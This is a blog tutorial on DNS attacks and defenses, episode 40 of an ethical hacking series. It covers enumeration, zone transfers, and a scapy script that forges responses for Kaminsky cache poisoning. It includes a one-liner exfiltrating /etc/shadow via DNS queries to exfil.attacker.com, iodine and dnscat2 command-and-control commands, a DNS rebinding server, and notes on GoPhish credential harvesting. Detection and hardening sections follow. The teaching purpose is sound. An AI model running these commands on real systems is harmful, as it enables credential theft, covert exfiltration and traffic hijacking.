Learn Ethical Hacking (#40) - DNS Attacks - Exploiting the Internet's Foundation

avatar
(Edited)

Learn Ethical Hacking (#40) - DNS Attacks - Exploiting the Internet's Foundation

leh-banner.jpg

What will I learn

  • DNS internals -- recursive resolution, caching, zone transfers, and why DNS is the internet's weakest foundation;
  • DNS enumeration -- subdomain discovery, zone transfer exploitation, and DNS reconnaissance;
  • DNS cache poisoning -- the Kaminsky attack and how to redirect traffic at the resolver level;
  • DNS tunneling -- exfiltrating data and establishing C2 channels through DNS queries;
  • DNS hijacking -- taking over domains through registrar compromise and dangling DNS records;
  • DNS rebinding -- bypassing same-origin policy to attack internal networks from a browser;
  • Building a DNS enumeration toolkit from scratch in Python;
  • Defense: DNSSEC, DNS-over-HTTPS, monitoring anomalous queries, zone transfer restrictions.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • Understanding of DNS basics from Episode 3;
  • A domain you control for lab exercises;
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Intermediate

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 39 Exercises

Exercise 1: Email authentication assessment of 5 domains.

# Assessment script
for domain in company.com bank.com github.com gmail.com hive.blog; do
    echo "=== $domain ==="
    echo "SPF:"
    dig +short TXT $domain | grep spf
    echo "DMARC:"
    dig +short TXT _dmarc.$domain
    echo ""
done
Results (example):
gmail.com    -- SPF: -all (hard fail), DMARC: p=none (!)
github.com   -- SPF: -all, DMARC: p=reject (good)
hive.blog    -- SPF: none, DMARC: none (fully spoofable)

Key finding: even major platforms sometimes have p=none DMARC,
meaning SPF failures are logged but emails are still delivered.
Gmail's DMARC policy is p=none -- which means that if you spoof
a gmail.com sender address, the receiving server logs the failure
but delivers the email anyway. Google relies on their massive
spam filtering infrastructure instead of DMARC reject to protect
gmail.com as a sending domain.

The most striking finding from this exercise is typically hive.blog having no email authentication at all. No SPF, no DMARC. This means anyone can send emails claiming to be from [email protected] and there is zero DNS-level verification to contradict it. For a platform that handles financial tokens, the absence of email authentication on the primary domain is a significant gap -- though in practice Hive uses on-chain operations (not email) for transfers, which mitigates the real-world impact.

Exercise 2: GoPhish setup.

# 1. Start GoPhish
./gophish  # Default: https://localhost:3333

# 2. Sending profile: localhost Postfix on port 25
# 3. Email template: "Your password expires in 24 hours"
#    with link to {{.URL}}
# 4. Landing page: cloned Office 365 login, capture enabled
# 5. Campaign: sent to self, tracked opens + clicks + submits
# 6. Result: email delivered, link clicked, credentials captured
#    in GoPhish dashboard with timestamp and IP

The GoPhish dashboard tracks every step of the campaign funnel: email sent, email opened (via tracking pixel), link clicked (via redirect URL), and data submitted (form capture on landing page). For self-testing, you should see all four events with timestamps and your own IP. The key observation from running this against yourself: even when you KNOW it's a phishing test, the cloned login page looks convincing enough that you have to deliberately pause and check the URL. That's the fundamental problem with phishing -- the visual presentation is indistinguishable from legitimate, and the only reliable signal is the domain name in the address bar.

Exercise 3: Email header forensics.

Legitimate email:
  Received: 3 hops (sender MTA -> Google MX -> inbox)
  SPF: pass, DKIM: pass, DMARC: pass
  Originating IP: matches sender's SPF record
  No anomalies

Phishing email:
  Received: 5 hops (unusual routing through 2 unknown servers)
  SPF: softfail (sender IP not in SPF record)
  DKIM: none (no signature)
  DMARC: fail (but p=none, so delivered anyway)
  Originating IP: 185.x.x.x (bulletproof hosting provider)
  Red flag: Return-Path domain != From domain

The delivery path tells the whole story. Legitimate emails have a clean, short path -- typically 2-3 hops through well-known mail servers, all authentication checks passing. Phishing emails show irregular routing (extra hops through unknown servers), authentication failures that were ignored because of weak DMARC policies, and the classic From/Return-Path mismatch that we covered in detail in episode 39. The Return-Path domain mismatch is the single most reliable forensic indicator because the attacker cannot spoof the envelope sender as easily as the display From header -- most receiving servers record the actual envelope sender regardless of what the From header claims.


Learn Ethical Hacking (#40) - DNS Attacks - Exploiting the Internet's Foundation

Episode 39 covered email security -- SMTP's fundamental design flaws, SPF/DKIM/DMARC authentication (and why p=none DMARC provides zero protection), phishing infrastructure with GoPhish, credential harvesting, Evilginx2 as a reverse proxy that bypasses MFA, Business Email Compromise as the most financially destructive attack category, and email header forensics for tracing the true origin of suspicious messages. You can now assess a domain's email security posture with dig, run authorized phishing simulations, analyze email headers forensically, and understand why email remains the number one initial access vector despite decades of patches on top of a protocol from 1982.

I mentioned at the end of episode 39 that we'd be moving to DNS attacks, and there's a good reason these two topics sit next to each other. Email and DNS are the two foundational internet protocols that were designed with zero security, and they're deeply intertwined -- email authentication (SPF, DKIM, DMARC) is itself a DNS-based system. Every SPF check is a DNS lookup. Every DKIM verification fetches a public key from DNS. Compromising DNS means you can undermine email authentication, redirect web traffic, intercept API calls, and fundamentally control how every other protocol resolves its destinations.

Here we go.

DNS -- The Protocol That Holds the Internet Together (Barely)

DNS (Domain Name System) translates human-readable domain names into IP addresses. Every single thing you do on the internet starts with a DNS query. Load a web page? DNS first. Send an email? DNS to find the MX record. Connect to a VPN? DNS. Push to git? DNS. Authenticate to an API? DNS. There is no internet without DNS -- it is the foundational layer that everything else depends on.

And this foundational layer was designed in 1983 (RFC 882 and RFC 883, later consolidated into RFC 1034/1035) with no authentication, no encryption, and no integrity checking. DNS queries and responses are sent as plaintext UDP packets. Anyone positioned on the network path between a client and its DNS resolver can read every query (surveillance), modify responses (redirection), or inject forged responses (poisoning). The protocol itself has no mechanism to detect or prevent any of these attacks.

How DNS resolution actually works:

1. You type "bank.com" in your browser
2. Your OS checks /etc/hosts and its local DNS cache
3. If not cached: query goes to your configured resolver
   (e.g., 8.8.8.8 or your ISP's resolver)
4. Resolver checks its cache -- if not there:
   a. Queries a root server: "who handles .com?"
   b. Root says: "ask a.gtld-servers.net" (TLD server)
   c. Resolver queries TLD server: "who handles bank.com?"
   d. TLD says: "ask ns1.bank.com at 203.0.113.10"
   e. Resolver queries ns1.bank.com: "what is bank.com's A record?"
   f. Gets answer: 93.184.216.34
5. Resolver caches the answer (for the TTL duration)
6. Returns the IP to your OS
7. Your browser connects to 93.184.216.34

Every step is unencrypted. Every response is trusted on arrival.
The resolver has no way to verify that the response it received
actually came from the authoritative server it queried.

This resolution chain involves multiple servers across the internet, each one a potential point of interception or manipulation. The resolver trusts whatever response arrives first with a matching transaction ID -- and for most of DNS's history, that transaction ID was a 16-bit number, giving an attacker a 1-in-65536 chance of guessing correctly on each attempt. Not great odds for a single try, but perfectly viable when you can send thousands of forged responses per second.

But wait, hasn't this been fixed? Sort of. DNSSEC (DNS Security Extensions, first specified in 1997, updated in 2005) adds cryptographic signatures to DNS records. DNS-over-HTTPS (DoH) and DNS-over-TLS (DoT) encrypt the transport. Source port randomization makes the guessing space much larger. But adoption of DNSSEC remains surprisingly low -- as of 2025, less than 40% of the global DNS infrastructure validates DNSSEC signatures, and many resolvers that DO support it run in "permissive" mode (log failures but don't reject invalid responses). The patches exist. The deployment is incomplete.

DNS Enumeration -- Mapping the Target's Infrastructure

Before you attack DNS, you enumerate it. DNS records are a treasure map of the target's infrastructure -- every subdomain represents a service, an application, an internal tool, or a development environment that the target may not realize is publicly discoverable.

# Passive enumeration (no direct contact with target DNS)
# Certificate Transparency logs -- every TLS certificate is publicly logged
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
    python3 -c "import json,sys; [print(x['name_value']) for x in json.load(sys.stdin)]" | \
    sort -u

# This reveals subdomains like:
# mail.target.com
# vpn.target.com
# staging.target.com
# dev-api.target.com
# jenkins.target.com   <-- high-value target (episode 38)
# internal.target.com  <-- probably shouldn't be in CT logs

# Amass -- combines Certificate Transparency, DNS brute-forcing,
# web scraping, and WHOIS data into one tool
amass enum -passive -d target.com -o subdomains.txt

# Active enumeration (generates DNS traffic to target)
# Subdomain brute-force with gobuster
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt -t 50

# Or with ffuf for fast parallel resolution
ffuf -u "http://FUZZ.target.com" -w subdomains.txt -mc 200,301,302

The passive vs. active distinction matters enormously for both legal and operational reasons. Passive enumeration (Certificate Transparency logs, WHOIS records, search engine caches, DNS databases like SecurityTrails) generates zero traffic to the target. You're querying third-party databases that happen to contain information about the target's DNS. Active enumeration (subdomain brute-forcing, direct DNS queries) generates traffic that the target can detect and log. During authorized pentests, both are typically in scope. During reconnaissance before a bug bounty engagement, stick to passive until you've confirmed that DNS enumeration is within the program's scope.

Zone Transfers (AXFR) -- Getting Everything at Once

A DNS zone transfer (AXFR) is the mechanism authoritative nameservers use to replicate DNS zones between primary and secondary servers. If a target's nameserver is misconfigured to allow zone transfers from any source (instead of restricting to authorized secondary servers), you can request the entire zone -- every subdomain, every IP address, every MX record, every TXT record -- in a single query:

# Attempt zone transfer against a target's nameservers
dig axfr target.com @ns1.target.com

# If successful, you get EVERYTHING:
# target.com.           86400  IN  A     93.184.216.34
# mail.target.com.      86400  IN  A     93.184.216.35
# vpn.target.com.       86400  IN  A     10.0.0.1
# internal.target.com.  86400  IN  A     192.168.1.100
# dev.target.com.       86400  IN  CNAME staging.target.com.
# _dmarc.target.com.    86400  IN  TXT   "v=DMARC1; p=none"
# _sip.target.com.      86400  IN  SRV   10 60 5060 sip.target.com.

# Automate across all nameservers
for ns in $(dig NS target.com +short); do
    echo "=== Trying $ns ==="
    dig axfr target.com @$ns 2>&1
done

Zone transfers should be restricted to authorized secondary nameservers only. In practice, about 5-10% of domains still allow unrestricted AXFR. The test site zonetransfer.me is deliberately configured to allow zone transfers for educational purposes -- try it and see what a full zone dump looks like. It's free intelligence -- the entire DNS map of the target's infrastructure, served up by their own nameserver because nobody configured allow-transfer { secondary-ns-ip; }; in the BIND configuration.

Having said that, even when zone transfers are properly restricted, you can still build a comprehensive subdomain map through brute-forcing and passive sources. A zone transfer is just the most efficient method -- it replaces hours of brute-forcing with a single request. The absence of AXFR access doesn't mean the information is protected; it just means you need to gather it through other channels.

DNS Cache Poisoning -- Redirecting the Internet

DNS resolvers cache responses to avoid querying authoritative servers for every request. Your ISP's resolver, Google's 8.8.8.8, Cloudflare's 1.1.1.1 -- they all cache aggressively. The cache is what makes DNS fast (you don't wait for the full resolution chain on every query) but it's also what makes DNS cache poisoning so dangerous: if you can inject a forged response into a resolver's cache, every user of that resolver will be redirected to your server for the duration of the cached entry's TTL.

The Kaminsky attack (discovered by Dan Kaminsky in 2008 and disclosed through a coordinated process that remains one of the most impressive vulnerability disclosures in internet history) demonstrated that cache poisoning was far easier than previously believed:

The Kaminsky Attack:

1. Attacker queries resolver for random123.target.com
   (a name that is NOT in the cache -- the random prefix
   forces the resolver to query the authoritative server)

2. Resolver sends a query to target.com's authoritative NS
   (the query has a random 16-bit transaction ID and uses
   a specific source port)

3. BEFORE the real response arrives, attacker floods the
   resolver with thousands of forged responses, each with
   a different guessed transaction ID:
   "random123.target.com is at EVIL_IP"

4. Each forged response also includes a "bonus" authority
   record: "The nameserver for ALL of target.com is now
   ns1.evil.com at EVIL_IP"

5. If any forged response matches the transaction ID AND
   arrives before the real response: the forged data is
   cached, including the rogue authority record

6. Now EVERY future query for *.target.com goes to the
   attacker's nameserver -- the attacker controls resolution
   for the entire domain

7. The random prefix is the key innovation: without it, the
   attacker has to wait for the TTL to expire before trying
   again. With a random prefix, every attempt uses a fresh
   uncached name, so the attacker can try thousands of times
   per second without waiting
# Simplified cache poisoning concept (lab only!)
# This illustrates the principle -- real attacks need precise timing
from scapy.all import *

# Forge a DNS response
dns_response = IP(dst="RESOLVER_IP") / \
    UDP(sport=53, dport=QUERY_PORT) / \
    DNS(
        id=GUESSED_TXID,       # must match the resolver's query
        qr=1,                   # this is a response
        aa=1,                   # authoritative answer
        qd=DNSQR(qname="random123.target.com"),
        an=DNSRR(rrname="random123.target.com", rdata="EVIL_IP"),
        # The poisoned authority record -- THIS is the payload:
        ns=DNSRR(rrname="target.com", type="NS", rdata="ns1.evil.com"),
        ar=DNSRR(rrname="ns1.evil.com", rdata="EVIL_IP")
    )

# Flood the resolver with forgeries, each with a different TXID
for txid in range(0, 65535):
    dns_response[DNS].id = txid
    send(dns_response, verbose=0)

The Kaminsky attack was a watershed moment for DNS security. Before its disclosure, the common wisdom was that cache poisoning required the attacker to be on the network path (man-in-the-middle position). Kaminsky showed it could be done remotely, from anywhere, against any resolver, with nothing more than the ability to send UDP packets. The response was the largest coordinated patch effort in internet history -- nearly every DNS vendor patched simultaneously to add source port randomization, which increases the guessing space from 2^16 (65,536 possibilities) to roughly 2^32 (4 billion possibilities).

Modern defenses against cache poisoning: source port randomization (standard since 2008), DNSSEC (cryptographic signatures that prove the response came from the real authoritative server), and DNS-over-HTTPS/TLS (encrypted transport that prevents response injection). But the defense is only as strong as its deployment, and plenty of resolvers still run without DNSSEC validation.

DNS Tunneling -- The Covert Channel That Firewalls Can't Block

DNS tunneling is one of the most powerful techniques in a post-exploitation toolkit, and the reason is simple: DNS traffic is almost never blocked. Organizations deploy web proxies, egress firewalls, IDS/IPS systems, and network segmentation -- but DNS on port 53 passes through because blocking it would break everything. Every application on every machine needs DNS to function. This makes DNS the perfect covert channel for data exfiltration and command-and-control.

The concept: encode data inside DNS queries and responses. The attacker controls a domain (e.g., tunnel.attacker.com) and runs a custom authoritative DNS server for it. The compromised machine sends DNS queries with data encoded in the subdomain labels. The attacker's DNS server receives the queries, decodes the data, and sends responses with encoded commands:

# Data exfiltration via DNS (no special tools needed)
# Encode sensitive data as subdomain labels
cat /etc/shadow | base64 | fold -w 60 | while read line; do
    dig "$line.exfil.attacker.com" @8.8.8.8 +short
done
# Your authoritative DNS server for attacker.com receives
# every query, logs the subdomain label, and reconstructs
# the file from the base64 chunks

# The query looks like a normal DNS lookup:
# "dXNlcjE6JDYkc2FsdCRoYXNoZWQ=.exfil.attacker.com"
# Is that a valid subdomain? To the resolver and firewall,
# yes -- it's a standard A record query for a subdomain
# Using iodine for full TCP-over-DNS tunneling
# Server (on your authoritative DNS for tunnel.attacker.com):
iodined -f -c -P secretpass 10.0.0.1 tunnel.attacker.com

# Client (on compromised machine):
iodine -f -P secretpass tunnel.attacker.com

# Result: a virtual network interface (dns0) that tunnels
# ALL IP traffic through DNS queries
# Throughput: ~50-100kbps (slow, but enough for C2 and exfil)
# Every packet becomes a DNS query/response pair

# Test the tunnel:
ping -c 3 10.0.0.1          # ping through DNS
ssh 10.0.0.1                 # SSH through DNS
scp 10.0.0.1:secrets.db .   # file transfer through DNS

DNS Tunneling with dnscat2

dnscat2 provides a more purpose-built C2 channel over DNS. Unlike iodine (which creates a virtual network interface for general IP tunneling), dnscat2 is specifically designed for command-and-control: shell access, file transfer, and port forwarding -- all encoded in DNS queries:

# Server (on attacker's infrastructure)
ruby dnscat2.rb tunnel.attacker.com --secret=mysecretkey

# Client (on compromised host)
./dnscat2 --secret=mysecretkey tunnel.attacker.com

# Now you have interactive C2 through DNS:
# dnscat2> session -i 1
# command (client) 1> shell
# command (client) 1> exec whoami
# command (client) 1> download /etc/passwd

# dnscat2 uses TXT, CNAME, MX, and A record types
# to encode data -- varying the record types makes
# detection through signature-based IDS harder

Why is DNS tunneling the "last resort" channel? Because it works when nothing else does. Even in heavily locked-down environments with web proxy authentication, SSL inspection, egress firewall rules blocking everything except ports 80 and 443 through the proxy, and IDS monitoring on every allowed protocol -- DNS port 53 still passes through to the configured resolver. The only way to block DNS tunneling is to inspect DNS query content (looking for high-entropy subdomain labels, unusually long queries, excessive TXT record lookups, high query volume to a single domain), and most organizations do not have DNS inspection at that level of detail.

DNS Hijacking -- Taking Over Domains

DNS hijacking is a broader category that covers several different attack vectors, all with the same result: the attacker controls where a domain name resolves to.

Registrar Compromise

The registrar is the organization that manages the domain registration (GoDaddy, Namecheap, Cloudflare, etc.). If an attacker compromises the registrar account for a domain, they can change the nameservers to point to their own -- effectively taking complete control of the domain. Every DNS record, every subdomain, every service that depends on that domain -- all now controlled by the attacker.

This has happened to major organizations. In 2019, the "DNSpionage" and "Sea Turtle" campaigns (attributed to state-sponsored actors) compromised registrar and registry accounts to redirect DNS for government agencies and telecoms across the Middle East and North Africa. The attacks were devastating because they were invisible to the targets -- the websites and email servers still functioned normally, but the traffic was being routed through the attacker's infrastructure first, allowing credential harvesting and data interception.

Defense against registrar compromise: enable MFA on your registrar account (obviously), use registrar lock (prevents domain transfer without explicit unlock), enable DNSSEC (even if the nameservers are changed, DNSSEC-validating resolvers will reject responses with invalid signatures), and monitor your domain's NS records for unauthorised changes.

Subdomain Takeover

When a company creates a CNAME record pointing to a third-party service (GitHub Pages, AWS S3, Heroku, Azure App Service) and then stops using that service without removing the DNS record, an attacker can claim the abandoned resource and serve their own content on the company's subdomain:

# Find dangling CNAMEs
dig CNAME blog.target.com
# blog.target.com.  CNAME  target-corp.github.io.

# Check if the GitHub Pages site actually exists
curl -sI https://target-corp.github.io
# HTTP 404 -- the repo was deleted but CNAME remains!

# Attacker creates a GitHub repo named "target-corp.github.io"
# Configures it with a CNAME file pointing to blog.target.com
# Now blog.target.com serves the attacker's content
# The attacker can host:
# - Phishing pages under the target's domain
# - Credential harvesters that pass domain validation checks
# - Malware distribution (trusted domain = bypasses URL filters)
# - Defacement for embarassment or hacktivism

# Automated scanning for vulnerable subdomains:
# subjack -- fast subdomain takeover scanner
subjack -w subdomains.txt -t 100 -o vulnerable.txt

# nuclei -- template-based vulnerability scanner
nuclei -l subdomains.txt -t takeovers/

Subdomain takeover is particularly nasty because the attacker inherits the trust of the parent domain. If blog.company.com is taken over, the attacker's content appears under company.com -- which means cookies scoped to .company.com may be accessible, certificate transparency logs show a legitimate certificate, and URL reputation systems classify the subdomain as trustworthy because the parent domain is trusted.

Dangling DNS and Cloud Resources

# AWS: Elastic IP released but DNS A record still points to it
dig A api.target.com
# Returns: 54.x.x.x (formerly target's AWS Elastic IP)
# Attacker allocates Elastic IPs in the same AWS region until
# they get 54.x.x.x -- now api.target.com points to them

# Azure: App Service deleted but custom domain record persists
# GCP: Cloud Run service removed but domain mapping still exists

# The broader pattern: any service decommissioning that doesn't
# include DNS record cleanup creates a potential takeover vector
# This is why DNS record audits should be part of every
# infrastructure change process

DNS Rebinding -- Attacking Internal Networks Through the Browser

DNS rebinding is an elegant attack that turns the victim's own browser into a proxy for attacking their internal network. It bypasses the browser's same-origin policy -- which is supposed to prevent websites from accessing other origins -- by making the attacker's domain resolve to an internal IP address:

The DNS Rebinding Attack:

1. Victim visits evil.com (attacker-controlled website)
2. Browser resolves evil.com -> ATTACKER_IP (first DNS response)
3. evil.com serves JavaScript that makes API requests to evil.com
4. Meanwhile, attacker changes evil.com's DNS to resolve to
   192.168.1.1 (the victim's router -- internal IP)
5. TTL expires, browser re-resolves evil.com -> 192.168.1.1
6. JavaScript on evil.com makes a request to evil.com (now
   192.168.1.1) -- the same-origin policy ALLOWS this because
   the domain is still evil.com
7. The response comes from 192.168.1.1 (the victim's router)
8. JavaScript reads the response and sends it to the attacker

Result: the attacker reads data from the victim's internal
network, using the victim's browser as a proxy, without ever
touching the victim's network directly
# DNS rebinding server -- switches IP after first resolution
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, A

class RebindResolver(BaseResolver):
    def __init__(self, attacker_ip, internal_ip):
        self.attacker_ip = attacker_ip
        self.internal_ip = internal_ip
        self.query_count = {}

    def resolve(self, request, handler):
        qname = str(request.q.qname)
        self.query_count[qname] = self.query_count.get(qname, 0) + 1
        reply = request.reply()

        if self.query_count[qname] <= 1:
            # First resolution: return attacker's server
            # This serves the JavaScript payload
            reply.add_answer(RR(qname, rdata=A(self.attacker_ip), ttl=0))
        else:
            # Subsequent resolutions: return internal target
            # The JavaScript now talks to the internal network
            reply.add_answer(RR(qname, rdata=A(self.internal_ip), ttl=0))

        return reply

# TTL=0 is critical -- it forces the browser to re-resolve
# on every request, allowing the IP swap to take effect
server = DNSServer(RebindResolver("203.0.113.1", "192.168.1.1"), port=53)
server.start()

DNS rebinding is effective against IoT devices, routers, printers, NAS devices, and internal web applications that have no authentication -- they trust requests from the local network because they assume only authorized users have local network access. The attack proves that assumption wrong: the victim's browser IS on the local network, and the attacker can coerce it into making requests to any internal IP.

Defenses include: DNS pinning (browsers cache the first IP and don't re-resolve for the duration of the connection -- but this is inconsistently implemented), internal services should ALWAYS require authentication regardless of network origin, and enterprise DNS resolvers can block responses that resolve external domains to private IP ranges (RFC 1918 addresses like 10.x.x.x, 172.16-31.x.x, 192.168.x.x).

Building a DNS Enumeration Toolkit

Let me put it all together in a Python toolkit that combines the enumeration techniques we've covered. This script handles record enumeration, zone transfer attempts, and subdomain brute-forcing in one tool:

#!/usr/bin/env python3
"""dns-enum.py -- DNS enumeration toolkit for authorized security testing"""
import dns.resolver
import dns.zone
import dns.query
import sys
import concurrent.futures

def enumerate_records(domain):
    """Query all common record types for a domain."""
    record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME', 'SRV']
    results = {}
    for rtype in record_types:
        try:
            answers = dns.resolver.resolve(domain, rtype)
            results[rtype] = [str(rdata) for rdata in answers]
            for rdata in answers:
                print(f"  {rtype:6s} {rdata}")
        except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN,
                dns.resolver.NoNameservers):
            pass
    return results

def try_zone_transfer(domain):
    """Attempt AXFR zone transfer against all nameservers."""
    try:
        ns_records = dns.resolver.resolve(domain, 'NS')
    except Exception as e:
        print(f"  Could not resolve NS records: {e}")
        return False

    for ns in ns_records:
        ns_addr = str(ns.target)
        try:
            zone = dns.zone.from_xfr(
                dns.query.xfr(ns_addr, domain, lifetime=10)
            )
            print(f"  AXFR SUCCESS from {ns_addr}!")
            names = zone.nodes.keys()
            for name in sorted(names):
                print(f"    {name}.{domain}")
            return True
        except dns.query.TransferError:
            print(f"  AXFR denied by {ns_addr} (transfer refused)")
        except Exception as e:
            print(f"  AXFR failed for {ns_addr}: {type(e).__name__}")
    return False

def check_subdomain(sub, domain):
    """Check if a subdomain resolves."""
    fqdn = f"{sub}.{domain}"
    try:
        answers = dns.resolver.resolve(fqdn, 'A')
        ip = str(answers[0])
        return (fqdn, ip)
    except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer,
            dns.resolver.NoNameservers, dns.resolver.Timeout):
        return None

def brute_subdomains(domain, wordlist, threads=20):
    """Brute-force subdomain enumeration with threading."""
    found = []
    with open(wordlist) as f:
        words = [line.strip() for line in f if line.strip()]

    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as pool:
        futures = {
            pool.submit(check_subdomain, word, domain): word
            for word in words
        }
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                fqdn, ip = result
                print(f"  FOUND: {fqdn} -> {ip}")
                found.append(result)
    return found

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <domain> [wordlist]")
        sys.exit(1)

    domain = sys.argv[1]
    print(f"[*] DNS Enumeration: {domain}\n")

    print("[*] Record Enumeration:")
    enumerate_records(domain)

    print("\n[*] Zone Transfer Attempt:")
    if not try_zone_transfer(domain):
        print("  No zone transfers available")

    if len(sys.argv) > 2:
        print(f"\n[*] Subdomain Brute Force ({sys.argv[2]}):")
        found = brute_subdomains(domain, sys.argv[2])
        print(f"\n  Total found: {len(found)} subdomains")

This toolkit is genuinely useful for authorized assessments. The threaded subdomain brute-force can check thousands of subdomains per minute (limited by DNS resolver rate limits, not by the script), and the zone transfer check catches the 5-10% of targets that forgot to restrict AXFR. Combine this with passive sources (crt.sh, SecurityTrails, Amass) and you have comprehensive subdomain coverage.

Detecting DNS Tunneling

From the defensive side, DNS tunneling has distinctive characteristics that make it detectable -- if you're looking for it:

# Indicators of DNS tunneling in query logs:

# 1. High entropy in subdomain labels
# Normal: www.company.com, mail.company.com
# Tunnel: dXNlcjE6JDYkc2FsdCRoYXNoZWQ.tunnel.attacker.com
# Base64 and hex-encoded data has high Shannon entropy

# 2. Unusually long subdomain labels
# Normal labels: 5-15 characters
# Tunnel labels: 50-60 characters (maximum allowed is 63)

# 3. High query volume to a single domain
# Normal: a few queries per minute to popular domains
# Tunnel: hundreds of queries per minute to one domain

# 4. Unusual record types
# Normal traffic: mostly A and AAAA records
# Tunnel traffic: heavy TXT, NULL, or CNAME queries
# TXT records allow 255 bytes per response -- much more data
# than A records (4 bytes)

# 5. Queries to recently registered or obscure domains
# The tunnel endpoint domain was registered days/weeks ago
# It has no web presence, no email, no other services

# Detection with Zeek (formerly Bro):
# Zeek's dns.log captures all DNS queries and responses
# Analyze with:
cat dns.log | awk '{print $9}' | \  # extract query domain
    rev | cut -d. -f1-2 | rev | \    # extract base domain
    sort | uniq -c | sort -rn | \    # count queries per domain
    head -20                          # top 20 most queried
# A tunneling domain will have massively more queries than
# any legitimate domain
# Quick entropy check for DNS query logs
import math
from collections import Counter

def shannon_entropy(s):
    """Calculate Shannon entropy of a string."""
    if not s:
        return 0
    counts = Counter(s)
    length = len(s)
    return -sum(
        (count/length) * math.log2(count/length)
        for count in counts.values()
    )

# Normal subdomain: low entropy
print(shannon_entropy("www"))              # ~1.58
print(shannon_entropy("mail"))             # ~2.0
print(shannon_entropy("staging"))          # ~2.81

# Tunneled data (base64): high entropy
print(shannon_entropy("dXNlcjE6JDYkc2FsdCRoYXNoZWQ"))  # ~4.1
print(shannon_entropy("aW1wb3J0IHN5czsgcHJpbnQoJ2hlbGxv"))  # ~4.0

# Threshold: queries with subdomain entropy > 3.5 are suspicious
# Not definitive (some legitimate CDN URLs are high-entropy too)
# but effective as a first-pass filter for investigation

Defense: Securing DNS Infrastructure

# 1. Restrict zone transfers (BIND named.conf)
# allow-transfer { 192.168.1.2; };  -- secondary NS IP only
# Or for no zone transfers at all:
# allow-transfer { none; };

# 2. Deploy DNSSEC on your authoritative zones
# Sign your zones cryptographically so resolvers can verify
# that responses actually came from your nameserver
# Prevents cache poisoning (forged records fail signature check)
# Most registrars now support DNSSEC setup through their UI

# 3. Use DNS-over-HTTPS (DoH) or DNS-over-TLS (DoT)
# For client-to-resolver encryption
# Prevents eavesdropping and injection on the last mile
# Configure resolvers: Cloudflare 1.1.1.1, Google 8.8.8.8
# Both support DoH and DoT

# 4. Monitor for DNS tunneling indicators
# Deploy a DNS firewall or RPZ (Response Policy Zone)
# Alert on: high query volume to single domains,
# long subdomain labels (>50 chars), high entropy queries,
# excessive TXT record queries to unknown domains
# Tools: Zeek dns.log analysis, Pi-hole with logging,
# commercial DNS firewalls (Infoblox, Cisco Umbrella)

# 5. Audit and clean up dangling DNS records
# Review CNAME and A records monthly
# Check: does the target resource still exist?
# Automate with a script that resolves CNAMEs and checks
# if the target returns a known "unclaimed" error page
# This is your defense against subdomain takeover

# 6. DNS firewall / Response Policy Zone (RPZ)
# Block queries to known malicious domains
# Block responses that resolve external domains to
# internal IP ranges (defense against DNS rebinding)
# Feed threat intelligence into the RPZ for real-time blocking

# 7. Monitor NS record changes for your domains
# Set up alerting for any modification to your domain's
# NS records at the registrar level
# Use services like SecurityTrails or DNS history tools
# to detect unauthorized nameserver changes

The AI Slop Connection

AI-generated DNS configurations are a consistent source of insecurity, and the patterns are predictable.

AI assistants suggest leaving zone transfers open "for testing" and never mention restricting them to secondary nameservers. They generate BIND configurations with allow-transfer { any; }; because "it simplifies the initial setup." They recommend universally low TTLs (300 seconds) without understanding the caching implications -- low TTLs mean more resolver queries, which means more opportunities for cache poisoning and more load on authoritative servers.

The most dangerous AI pattern in DNS is suggesting CNAME records to third-party services without explaining the subdomain takeover risk. "Just add a CNAME pointing blog.yourcompany.com to yourcompany.github.io" -- and when the GitHub Pages repo is decommissioned six months later, that CNAME becomes a takeover vector. The AI never mentions cleanup procedures. It never says "and here's what to do when you stop using this service." It optimizes for getting the thing working RIGHT NOW, and the security consequences of the thing stopping working later are outside its optimization function.

I've seen production DNS zones with dozens of dangling CNAMEs pointing to decommissioned services -- Heroku apps that no longer exist, S3 buckets that were deleted, Azure App Services that were torn down. Every single one is a potential takeover. And in more than a few cases, the original CNAME was added because an AI suggested it as the quickest way to set up a custom domain for a cloud service ;-)

The Bigger Picture

With episodes 35 through 40, we've now covered the full modern infrastructure attack surface from the cloud down to the protocol level. Cloud platforms (episodes 35-36) provide the compute and storage foundation. Containers and orchestration (episode 37) run the workloads. Infrastructure as Code (episode 38) defines and deploys everything. Email (episode 39) is the primary initial access vector. And DNS (this episode) is the foundation layer that every single one of those systems depends on -- compromise DNS and you can redirect cloud API calls, intercept email, hijack container image pulls, and undermine the TLS certificates that are supposed to guarantee you're talking to the right server.

The pattern across all six episodes is the same: protocols and systems designed for convenience and interoperability, with security bolted on later, and the bolt-on solutions only working when they're properly configured. DNSSEC is available but not widely deployed. Zone transfers are restrictable but often aren't. DNS tunneling is detectable but rarely monitored. The gap between "possible to secure" and "actually secured" is where attackers live.

The upcoming episodes will shift from infrastructure and protocols into the tools and techniques that systematize everything we've covered. Understanding the individual attack vectors is essential -- but real-world penetration testers and red team operators use frameworks that chain these techniques together into automated workflows. Knowing how each piece works is what lets you use those frameworks effectively instead of blindly.

Exercises

Exercise 1: Enumerate a domain you own (or use zonetransfer.me which deliberately allows AXFR). Run: (a) a zone transfer attempt with dig axfr, (b) subdomain brute-force with gobuster or the Python script from this episode, (c) a Certificate Transparency lookup via crt.sh. Compare what each method reveals and document which found subdomains the others missed. Save your findings to ~/lab-notes/dns-enumeration-comparison.md.

Exercise 2: Set up a DNS tunneling lab. Install iodine server on a VPS you control, configure a subdomain to delegate to your VPS as its authoritative NS. Connect from your lab machine through iodine. Measure: (a) throughput (transfer a 1MB file through the tunnel), (b) latency (ping through the tunnel vs direct), (c) what the DNS queries look like on the wire (capture with tcpdump or Wireshark). Document whether your ISP's DNS resolver forwards the tunnel queries or blocks them. Save to ~/lab-notes/dns-tunnel-lab.md.

